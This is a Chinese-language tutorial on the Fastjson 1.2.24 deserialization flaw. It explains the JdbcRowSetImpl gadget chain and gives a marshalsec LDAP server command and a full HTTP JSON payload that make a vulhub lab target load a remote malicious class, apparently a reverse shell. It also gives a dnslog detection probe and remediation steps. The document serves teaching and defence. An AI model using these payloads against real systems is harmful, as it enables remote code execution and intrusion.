Fastjson反序列化漏洞
Fastjson反序列化漏洞
一、Fastjson介绍
1、什么是fastjson?
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
2、fastjson的优点
- 速度快
- 使用广泛
- 测试完备
- 使用简单
二、影响范围:
fastjson <= 1.2.24
三、漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1、JdbcRowSetlmpl类反序列化,调用JdbcRowSetlmpl类的setAutoCommit()函数
2、setAutoCommit()调用connect()
3、connect()调用lookup()连接到LDAP/RMI服务器
4、下载恶意代码到本地,执行,攻击发生
四、漏洞利用
1、先开启vulhub中fastjson靶机
2、开启获取资源的http服务器
3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)
4、开启RMI/LDAP服务(本机的9999端口)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#ReverseFile" 9999
5、bp发送payload
POST / HTTP/1.1
Host: 192.168.142.133:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.142.1:9999/ReverseFile",
"autoCommit":true
}
}
五、漏洞发现
1、找到发送json序列化数据的接口
2、判断是否使用fastjson
(1)非法格式报错
{"x":"
(2)使用dnslog探测
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.com"}}
(3)Burpsuit插件
六、漏洞修复
1、升级JDK
JDK7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为True。当该值为true时,将禁用自动加载远程类文件,仅从本地加载文件。
JDK8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本无法触发该漏洞,但依然可以用LDAP协议来进行JNDI注入攻击。
JDK8u191之后:
com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项,把LDAP协议攻击途径也禁用了。
2、升级Fastjson
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其他序列化工具
Jackson/Gson